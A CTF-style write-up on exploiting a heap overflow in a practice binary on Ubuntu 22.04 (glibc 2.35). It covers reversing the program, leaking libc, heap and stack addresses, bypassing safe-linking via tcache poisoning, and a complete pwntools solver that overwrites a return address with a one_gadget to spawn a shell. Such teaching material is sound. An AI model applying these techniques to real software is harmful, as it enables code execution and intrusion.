overflow-22.04

Heap Overflow on Ubuntu 22.04, Bypassing Safe-Linking.

6 min read


Table of Contents

[ + ] Introduction
[ + ] Reversing
[ + ] Exploiting
[ + ] Solution

[ + ]Introduction

This is a difficult challenge as we are dealing with a few things that are not present in overflow 20.04. Since we are working with glibc 2.35, we must deal with "safe-linking" mitigation which is used to protect the heap's integrity. This means we not only need to leak libc, but also the heap base address, and the stack (since __free_hook exploitation method was patched) for successful exploitation.

This is a very informative read, hope you enjoy.

[ + ]Reversing

Below you can find the decompiled code snippets, explanations, and details about the heap overflow vulnerability.

TL;DR - Overflow vulnerability caused by user defined input size rather than using the respective heap chunk size.

 main

As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.

Image
 add

Here we can see we are able to add a node.

At the top we see that the global array is of size 0xF. Then we allocate a chunk on the heap of any size less than 0x1FFF. The pointer to the chunk is stored in array and the size is stored in size_array.

size_array is not referenced in edit, which is the root cause for the overflow vulnerability.

Image
 delete

Here we are able to delete nodes.

We can see that by providing some input less than 0xF results in the freeing of the chunk from the pointer at array[v1], removing the pointer from array[v1] , and removing the size from size_array[v1] .

This portion of the code is safe (unlike in uaf 22.04).

Image
 edit

Here we are able to edit a node.

The node is directly modified through the pointer at array[v1] based on the input we provided.

There are two important parts to this sub-routine:

  1. size_array[v1] can be modified, allowing us to read other chunks on the heap.
  2. We are able to write v1 bytes to a chunk (so long as it is less than 0x1FFF) allowing us to overwrite data in other chunks, causing the overflow vulnerability.
Image
 show

Here we are able to show a node.

The node and size of the node is pulled from array and size_array respectively based on the input we provide. Since we can set the size_array[v1] value almost arbitrarily in the edit subroutine, we are able to read data from other chunks on the heap.

Image

[ + ]Exploiting

In order to exploit this overflow vulnerability there are a few steps.

  • Leak libc
  • Leak heap base address
  • Leak the stack
  • Modify the stack with a gadget found with one_gadget

Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408 such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk.

Once we free the chunk, we can add a new chunk of the same size (0x409) are read it's content.

Alternatively, we could have added a node before the 0x409 node, proceeded with the rest of the steps, but instead of re-allocating a chunk of size 0x409, we edit the first node's size to be able to read the contents of the 0x409 node.

add(0x409)
add(0x50)
delete(0)
add(0x409)
main_arena = int.from_bytes(show(0)[:7].strip(), "little")
glibc_base = main_arena - 0x219ce0
environ_addr = main_arena + 0x7520
log.info(f"main_arena: {hex(main_arena)}")
log.info(f"glibc_base: {hex(glibc_base)}")
log.info(f"environ_addr: {hex(environ_addr)}")

When looking at the heap, we see the following:

Image

As show, we have a chunk in unsorted_bins after being freed and successfully leaked libc.

Now let's look at leaking the heap.

# heap leak
add(0x20)  # 2
delete(2)
add(0x20)  # 2
heap_leak = int.from_bytes(show(2)[:5].strip(), "little") << 12

Let's take a look at what's going on on the heap after we run this code snippet.

Image

Since we allocated some space, and freed the chunk, in the process some metadata about the heap state was stored in the chunk. When we re-allocate a new chunk, the same memory space will be reused, allowing us to leak the heap base.

For our final leak, let's take a look at how we can leak the stack.

# poison tcache
# chunk 2 already allocated in previous step
add(0x20)
add(0x20)
delete(4)
delete(3)
delete(2)
add(0x20)

curr = heap_leak + 0x750
fw = (curr >> 12) ^ environ_addr

# Modify chunk 3 indirectly by overflowing chunk 2

# Need to maintain heap integrity my maintaining chunk 2 metadata (size + 1)
# which is why we have 0x31.to_bytes(8, "little")

edit(2, b'A' * 0x28 + 0x31.to_bytes(8, "little") + fw.to_bytes(8, "little"))
add(0x20)
add(0x20)

environ_stack_addr = int.from_bytes(show(4)[:8].strip(), "little")
log.info(f"environ_stack_addr: {hex(environ_stack_addr)}")

This is a little more complex. Effectively, we need to groom the FastBins linked list such that we have the following in FastBins:

[Chunk 2] <---- [Chunk 3] <---- [Chunk 4]

We can achieve this by freeing the chunks in reverse order. We then allocate Chunk 4 , removing it from FastBins, calculate a modified forward pointer (bypassing safe-linking) pointing to environ_addr, modify Chunk 5 with the new address, and allocate the remaining two chunks.

Step by step it looks like this:

----------------
|     HEAP     |
----------------
|    Chunk 2   | (allocated)
----------------
|    Chunk 3   | (de-allocated)
----------------
|    Chunk 4   | (de-allocated)
----------------

FastBins

[Chunk 3] <---- [Chunk 4]

Then we modify the forward pointer address of chunk 4 such that the linked list looks as follows:

----------------
|     HEAP     |
----------------
|    Chunk 2   | (allocated)
----------------
|    Chunk 3   | (de-allocated)
----------------
|    Chunk 4   | (de-allocated)
----------------

FastBins

[Chunk 3]         |-- [Chunk 4]
                  |
[environ_addr] <--

We can see this in gdb clearly as well:

Image

Finally, we re-allocate those chunks and are able to leak the address.

In the process we also had to bypass the "safe-linking" mitigation. We can do this quite easily since we know the structure of the heap (it may be harder in other cases).

We can do this by using the offset of the previous chunk in the tcache (chunk 3) to encode our forward pointer address.

The general formula is as follows:

forward pointer = (current chunk address >> 12) ^ arbitrary address

Here is a good article explaining bypassing the "safe-linking" mitigation https://malware.news/t/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/40111.

Finally, we can use the same exploit to write to the stack. Here is the code:

add(0x80)
add(0x80)
add(0x80)
delete(7)
delete(6)
delete(5)
add(0x80)

curr = heap_leak + 0x840
fw = (curr >> 12) ^ (environ_stack_addr - 0x120 - 8)

# Modify chunk 6 indirectly by overflowing chunk 5

# Need to maintain heap integrity my maintaining chunk 5 metadata (size + 1)
# which is why we have 0x81.to_bytes(8, "little")

edit(5, b'A' * 0x88 + 0x81.to_bytes(8, "little") + fw.to_bytes(8, "little"))
add(0x80)
add(0x80)

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Somewhere writeable in ESB
edit(7, p64(heap_leak + 0x720 + 0x78) + p64(glibc_base + 0x50a37))

We are effectively doing the same thing as previously, except we are modifying an address on the stack with the address of our one_gadget. Additionally we need to specify an address for esb that is writeable to satisfy the condition of one_gadget.

Here is how we identified the offset using one_gadget:

one_gadget /lib/x86_64-linux-gnu/libc.so.6
Image

We can identify the offset from environ_stack_addr by setting a breakpoint at the leave instruction for main and looking at the registers.

Image Image

We can confirm that the exploit is working by breaking at main's ret instruction:

Image

[ + ]Solution

Image
 Solver
from pwn import *
from pwnlib.util.packing import *

# Context
context.arch = 'amd64'
# context.log_level = 'DEBUG'


def exploit():
    def add(size: int):
        p.send(b"1\n")
        p.recvuntil(b"Size:\n")
        p.send(str(size).encode() + b"\n")
        p.recvuntil(b">")

    def delete(index: int):
        p.send(b"2\n")
        p.recvuntil(b">")
        p.send(str(index).encode() + b"\n")
        p.recvuntil(b">")

    def edit(index: int, data: bytes):
        p.send(b"3\n")
        p.recvuntil(b">")
        p.send(str(index).encode() + b"\n")
        p.recvuntil(b"Size:\n")
        p.send(str(len(data)).encode())
        p.recvuntil(b"Content:\n")
        p.send(data)
        p.recvuntil(b">")

    def show(index: int):
        p.send(b"4\n")
        p.recvuntil(b">")
        p.send(str(index).encode() + b"\n")
        p.recvuntil(b"Content:\x0a")
        return p.recvuntil(b">")

    p = process("/tmp/lima/overflow2204/chal")
    pause()
    p.recvuntil(b">")

    # leak glibc address

    add(0x409)
    add(0x50)
    delete(0)
    add(0x409)
    main_arena = int.from_bytes(show(0)[:7].strip(), "little")
    glibc_base = main_arena - 0x219ce0
    environ_addr = main_arena + 0x7520
    log.info(f"main_arena: {hex(main_arena)}")
    log.info(f"glibc_base: {hex(glibc_base)}")
    log.info(f"environ_addr: {hex(environ_addr)}")

    # heap leak
    add(0x20)
    delete(2)
    add(0x20)
    heap_leak = int.from_bytes(show(2)[:5].strip(), "little") << 12

    log.info(f"heap_leak: {hex(heap_leak)}")

    # poison tcache
    add(0x20)
    add(0x20)
    delete(4)
    delete(3)
    delete(2)
    add(0x20)

    curr = heap_leak + 0x750
    fw = (curr >> 12) ^ environ_addr
    edit(2, b'A' * 0x28 + 0x31.to_bytes(8, "little") + fw.to_bytes(8, "little"))
    add(0x20)
    add(0x20)

    environ_stack_addr = int.from_bytes(show(4)[:8].strip(), "little")
    log.info(f"environ_stack_addr: {hex(environ_stack_addr)}")

    add(0x80)
    add(0x80)
    add(0x80)
    delete(7)
    delete(6)
    delete(5)
    add(0x80)

    curr = heap_leak + 0x840
    fw = (curr >> 12) ^ (environ_stack_addr - 0x120 - 8)
    edit(5, b'A' * 0x88 + 0x81.to_bytes(8, "little") + fw.to_bytes(8, "little"))
    add(0x80)
    add(0x80)

    # one_gadget /lib/x86_64-linux-gnu/libc.so.6
    # Somewhere writeable in ESB
    edit(7, p64(heap_leak + 0x720 + 0x78) + p64(glibc_base + 0x50a37))

    # Trigger exploit after overwrite

    p.send(b"6\n")


    p.interactive()

if __name__ == "__main__":
    exploit()